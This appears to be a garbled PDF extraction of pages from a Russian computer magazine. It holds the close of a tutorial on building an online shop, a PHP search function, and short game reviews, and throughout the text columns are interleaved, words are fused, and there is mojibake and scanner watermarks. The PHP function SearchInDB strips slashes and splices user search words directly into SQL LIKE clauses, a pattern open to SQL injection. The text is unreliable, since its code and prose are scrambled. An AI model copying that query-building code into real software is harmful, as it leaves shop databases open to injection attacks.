êàê |
|
|
на диске, либо у меня на сайте. |
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||
|
пользователь решил |
оформить покупку, |
|
данные |
|
о выбранных |
|
|
|
|
|
||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||||||||||
товарах вытаскиваются |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
должны идти |
денежные |
из cookies и сохраняются на сервере в базе |
данных. Далее |
|
|
|
|
|
|||||||||||||||||||||||||||||||||
транзакции, а потом и отсылка товара |
|
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
покупателю. |
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
 |
|
|
|
рассказал про регистрацию |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
статье я не |
пользователя на сайте. Это |
ты напишешь |
|
|
|
|
|
||||||||||||||||||||||||||||||||||
сам, просто |
|
делай все |
ïî |
|
аналогии с |
|
|
|
|
|
|||||||||||||||||||||||||||||||
магазина |
òû |
|
|
предыдущими |
статьями. Готовый |
|
êîä |
|
|
|
|
|
|||||||||||||||||||||||||||||
|
найдешь |
|
íà |
диске. |
À |
â |
|
следующий |
|
|
|
|
|
|
|
||||||||||||||||||||||||||
|
|
|
|
|
|
|
ðàç |
|
ìû |
|
поговорим |
ïðî |
|
|
|
|
|
||||||||||||||||||||||||
административный |
интерфейс |
системы |
и, наверное, затронем |
|
|
|
|
|
|
|
|||||||||||||||||||||||||||||||
|
|
|
|
|
|
|
|
òåìó |
|
security. Âñå. |
|
|
|
|
|
||||||||||||||||||||||||||
Теперь ты вооружен знаниями. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Осталось только покорить рунет своим е-шопом |
è |
|
|
|
|
|
|||||||||||||||||||||
заработать много денег. Так что удачи тебе. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Кусок кода |
èíåò- |
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
магазина |
||
function SearchInDB($find) |
|
|
|
|
|||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$sql="SELECT * FROM GOODS WHERE ("; |
||||||||||||||||
|
# Любой запрос |
начинается |
с этой строки, в процессе парсинга |
||||||||||||||
# аргумента |
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
приклеивать к этой строчке |
||||||||
|
|
|
|
|
функции будем |
||||||||||||
# дополнительные |
условия |
|
|
||||||||||||||
$find=stripslashes($find); #обрубаем все слеши |
|||||||||||||||||
$search=split(" ",$find); #режем в массив по пробелу |
|||||||||||||||||
$fields=array("name", |
"description"); |
|
|||||||||||||||
# создаем |
массив с |
названиями полей таблицы, в которых производится |
|||||||||||||||
поиск |
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
$quoted=0; |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
$LexNum=0; |
|
|
|
|
|
|
|
|
|
|
|
||||||
for ($i=0; |
$i<=count($search); |
$i++) #цикл по всем словам |
|||||||||||||||
{ |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
if(ereg("^\"", $search[$i]) || |
ereg("^[+- |
|
||||||||||||||
#åñëè |
какое-то слово |
|
|
|
]\"",$search[$i])) { $quoted=1; } |
||||||||||||
начинается с символа кавычки |
|||||||||||||||||
if($quoted==1) {$Lexeme[$LexNum].=ereg_ |
|||||||||||||||||
# åñëè ìû |
находимся между |
|
replace("\"","",$search[$i])." ";} |
||||||||||||||
кавычек, то приклеиваем слово |
|||||||||||||||||
|
|
|
|
|
|||||||||||||
# за слово в одну лексему |
|
|
|
||||||||||||||
else { |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
$Lexeme[$LexNum++]=$search[$i]; |
|
||||||||||||||||
#если вне цитаты, |
òî |
помещаем каждое слово отдельной лексемой |
|||||||||||||||
} |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
if(ereg("\"$", $search[$i])) |
{$quoted=0; |
|
|||||||||||||||
$Lexeme[$LexNum]=chop($Lexeme[$LexNum]); $LexNum++;} |
|||||||||||||||||
#Åñëè |
обнаружили |
закрывающую кавычку, обрубаем последний символ в |
|||||||||||||||
лексеме (пробел) |
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|||||||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
for ($i=0; $i<=count($Lexeme)-1; $i++) |
#Цикл по каждой лексеме |
||||||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
for ($j=0; $j<=count($fields)-1; $j++) |
|
||||||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#Цикл по каждому полю |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
ereg_replace(" |
$","",$Lexeme[$i]); |
|
|||||||||||||||
if(ereg("^\- |
|
|
|
|
|
|
|
|
#если лексема начинается с квантора "-" |
||||||||
{ |
|
|
|
",$Lexeme[$i])) |
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
$sql.= $fields[$j]." |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
NOT LIKE '%". substr($Lexeme[$i],1)."%'"; # |
||||||||||
Приклеиваем в запрос условие "NOT LIKE %лексема_без_ |
|||||||||||||||||
Поясню, % - |
стандартный символ |
|
квантора%". |
||||||||||||||
подстановки в языке SQL. |
|||||||||||||||||
if |
|
|
|||||||||||||||
($j<count($fields)-1) |
{ $sql.=" AND "; } |
||||||||||||||||
# |
|||||||||||||||||
Составляем |
|
|
|
условия для каждого из полей, конъюнктивно |
|||||||||||||
|
|
|
|
|
такие |
||||||||||||
объединяя высказывания |
|
|
|
|
|
|
|
||||||||||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
else #Если слово не имеет кванторов, либо он "+" |
|||||||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
$Lexeme[$i]=ereg_ |
|
|
|
|
|
|
|
|
|
|
|||||||
$sql. |
|
|
|
|
replace("^\+","",$Lexeme[$i]); #Вырезаем квантор |
||||||||||||
|
=$fields[$j]." LIKE |
'%$Lexeme[$i]%'"; #Добавляем в запрос новое |
|||||||||||||||
условие "LIKE %лексема" |
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
||||||||||
if ($j<count($fields)-1) { |
$sql.=" |
OR "; } # Составляем такие условия для |
|||||||||||||||
каждого |
|
|
|
|
|
|
|
|
|
|
|||||||
} |
из полей, дизъюнктивно объединяя высказывания |
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if($i<count($Lexeme)-1) |
#åñëè |
ìû |
еще внутри массива с лексемами |
||||||||||||||
{ |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
$sql.=") AND ("; |
|
|
|
|
|
|
|
|
|
|
|
||||||
} else {$sql.=")";} |
|
|
|
|
|
|
|
|
|
прошли, на последнем, добавляя |
|||||||
|
|
|
|
|
#åñëè óæå âåñü |
||||||||||||
условие, закрываем скобку. |
|
|
|
|
|
|
|||||||||||
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
return($sql); #Возвращаем строку с запросом |
73
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
Юниты |
|||
|
|
|
to |
|
|
|
|||||
w |
|
|
BUY |
|
|
||||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
o |
m |
|
|||
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
ÇÀË ÑÓÄÀ
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
X-Men 2: Wolverine's |
Revenge |
|
|||||
|
|
|
|
||||
TPS |
|
|
|
|
|
|
|
BloodRayne |
|
|
|
|
|
|
|
GenePool/Activision |
|
|
|
3D |
|
||
P3-500(P4-1300), 128(256), |
|
||||||
|
|
||||||
Обломись |
|
|
|
|
|
|
- |
Åùå îäèí |
пример |
òîãî, êàê èìå |
|||||
|
|
|
|
- |
|||
нитый бренд совершенно |
ëèøà |
||||||
ет разработчиков |
способности |
- |
|||||
|
|
|
|
||||
мыслить |
и работать, |
как полага |
|||||
|
|
|
|||||
|
|
|
|
|
|
|
ется. В итоге получилась |
весьма |
||||||
|
|||||||
|
|
|
|
|
. Смысл |
||
посредственная |
игрушка |
|
|||||
|
безобразия: |
||||||
игры неказист |
äî |
||||||
|
|
è ìî÷è âñåõ, |
|||||
бегай по уровням |
|||||||
|
|
|
|||||
|
|
. Добавь к этому |
|||||
кто попадется |
|
|
управление, |
||||
тупой AI, неудобное |
|||||||
|
|
||||||
отвратительно |
реализованную |
||||||
"летающую" |
камеру, и желание |
||||||
|
|
|
|
|
. |
||
|
|
|
|
|
|
||
играть пропадет |
напрочь |
||||||
|
|
|
ПРИГОВОР |
СРЕДНЕ |
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
World War 2: Frontline Command
RTS
G.I. Combat, Close Combat
The Bitmap Brothers/KOCH Media
P3-500(P3-800), 128(256), 3D
LAN, инет Очень неплохая RTS с сильной
тактической составляющей. Разнообразие рельефа, ошеломляющее количество типов
оружия, отлично движок и грамотное звуковое
сопровождение заставляют почувствовать себя участником
Второй Мировой войны. Несколько дней прохождения одиночной игры и "рубилово" по
LAN'у доставили мне массу удовольствия.
ПРИГОВОР |
ХОРОШО |
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
ПРИГОВОР
The Sims: SuperStar |
компьютере. На твоих глазах |
|
Ñèìû :) |
должна появиться новая звезда. |
|
The Sims |
||
Естественно, не без твоей |
||
Maxis/Electronic Arts |
||
помощи. Именно ты будешь |
||
P2-300(P3-600), 64(128) |
||
помогать своему питомцу |
||
Обломись |
||
заключать контракты с агентами, |
||
Седьмой по счету аддон к уже |
||
развивать его творческие |
||
всем известным Симсам. На этот |
способности, руководить |
|
ðàç |
выступлениями. Привлекательно, |
|
разработчики представили |
||
нам некую "Фабрику звезд" на |
но уж очень быстро надоедает. |
|
СРЕДНЕ |
|
Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха
International Superstar |
Soccer 3 |
|
|
Футбольный сим |
|
FIFA Soccer 2003 |
|
Konami/Konami |
|
P2-350(P3-600), 64(128), 3D |
|
В ассортименте |
|
Спортивные симуляторы, |
|
портированные с PS - явление, |
|
прямо скажем, редкое. Поэтому |
|
ISS3 - приятный сюрприз для |
ПРИГОВОР |
ХОРОШО |
|
всех ценителей жанра. Да, |
|
графика реализована на уровне |
|
|
. |
плейстейшен, но это и неважно |
|
Ведь все остальное в игре |
|
реализовано на высшем уровне. |
|
Это и невероятно удобное |
|
управление, и точное |
|
воспроизведение |
национальных |
сборных, и обалденный |
|
. |
|
геймплей |
|
Урожденная
Жанр Похожесть Мать/отец Требует Групповуха Описуха
Navy SEALs: Weapons of Mass |
|
Destruction |
|
FPS |
|
Navy SEALs |
|
Jarhead Games/ValuSoft |
3D |
P2-450(P3-800), 128(256), |
|
Обломись |
áåç òî- |
Отвратительный аддон к и |
|
го неказистому FPS. Разработчики |
|
предлагают тебе стать участником |
ПРИГОВОР |
ËÀÆÀ |
|
контртеррористических |
операций в |
||
Северной Корее, Пакистане и Ира- |
|||
|
|
|
- |
не. Принципиально |
âñå òðè ëîêà |
||
ции друг от друга не отличаются: |
|||
просто в одном месте побольше |
|||
песочка, в другом - зелени. А |
|
||
миссии похожи друг на друга как |
|||
две капли воды. Очисти сектор, |
|||
обеспечь прикрытие, разоружи |
|
||
. Ужасно нудно! |
|
||
террористов |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
1 |
|
2 |
|
3 |
|
4 |
|
74 |
Ньюсы |
Феррум |
Inside |
PC_Zone |
Implant |
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
äåëà: |
|
сосредоточено |
|
|
|
|
- |
íà |
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
Планируя |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
êóäà |
|
|
|
åñòü |
|
øè |
количе |
|
|
ïðî |
забыва |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
юнитов и |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
наступления |
огромным |
|
|
- |
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
è |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
аспектом |
внимание |
Ýòî |
ïëþñ |
|
|
управляя |
разнообразнейших |
боевых |
|
|
âñåì |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||
|
|
|
|
действиях |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
мическим |
большее на |
èãðû |
рокомасштабные |
врага, ством |
|
|
|
|
|
íà |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
главный |
âî |
âîäÿ |
åøü |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
|
|
|
|
военных |
|
|
|
|
|
|
|
|
|
|
время |
|
обманные |
îáî |
|
|
|
|
|
|
|
|
|
|
список |
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
- - |
|
|
- |
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
- |
|
|
первокла |
|
âåð |
çà |
|
|
|
À ïî |
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
служащий |
òóäà, |
|
|
|
|
Íå |
сделать |
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
бесконечных |
|
|
|
|
эконо |
|
отличается |
Òû |
|
|
|
òîãî, |
|
|
|
|
áû |
|
|
|
|||||||
Viking |
|
|
|
|
|
|
|
|
|
|
3D |
|
|
|
Ðàç |
|
|
|
|
|
|
|
|
|
|
âåñü |
густо |
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
- |
|
|
|
|
|
|
|
|
Assembly/Activision |
128(256), |
|
|
î |
|
тысячелетия |
|
игрока |
|
|
|
|
|
|
Слетай |
освободи |
|
|
|
|
|
можно |
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
первого |
|
|
è |
|
|
|
обратно, |
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
âîò |
|
|
|
|
|
|
|
|
|
|||||
War |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
íå |
|
|
верно |
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
заданий |
|
|
|
|
|
|
||
|
|
|
|
|
|
Medieval |
|
|
- |
|
|
|
|
|
|
|
|
|
|
|
Homeplanet |
|
|
|
|
|
|
|
|
другого |
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
повествующая |
|
|
|
грузят |
|
Воторигинальностьюссный |
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
|
|||||||||
Total |
|
|
|
|
|
|
|
|
|
|
1200), |
èíåò |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
ñèì |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
пилот, |
конфедерациинись щитидоступныхведьинтереснее |
|
|||||||||||||||||||||
Mediaeval: |
|
|
военный |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
íå |
РУЛЕЗ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|||
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
Invasion |
|
Shogun, |
|
|
|
350(P3 |
|
|
|
RTS, войнах работчики |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
3D |
|
|
Creative P2 |
|
LAN, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
Урожденная |
|
|
Æàíð |
|
Похожесть Мать/отец |
|
Требует |
|
Групповуха |
|
Описуха |
|
|
|
|
|
ПРИГОВОР |
|
|
|
|
|
|
3D |
|
|
нынче одном |
начинаетничего |
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
èãð |
|
||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ñèì |
Ì |
128(512), |
|
|
симуляторы |
|
|
|
|
|
èáî |
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
îá |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
|
|
|
æå |
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Games/Руссобит |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
|
|
|
потихоньку |
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1000), |
|
|
|
|
Изобилие |
|
|
глаза, |
СРЕДНЕ |
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
HomeplanetКосмическийStarlancer |
Revolt P2 ОбломисьКосмическиев и мозолить |
|||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
450(P3 |
|
|
|
|
. |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
ìîäå òîì |
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
УрожденнаяЖанрПохожестьМать/отецТребуетГрупповухаОписуха |
|
|
|
|
|
|
ПРИГОВОР |
5 Взлом 6 Юниксоид 7
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
- |
|
|
|
|
|
d |
|
|
||
|
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
||
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|
|
|||||
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|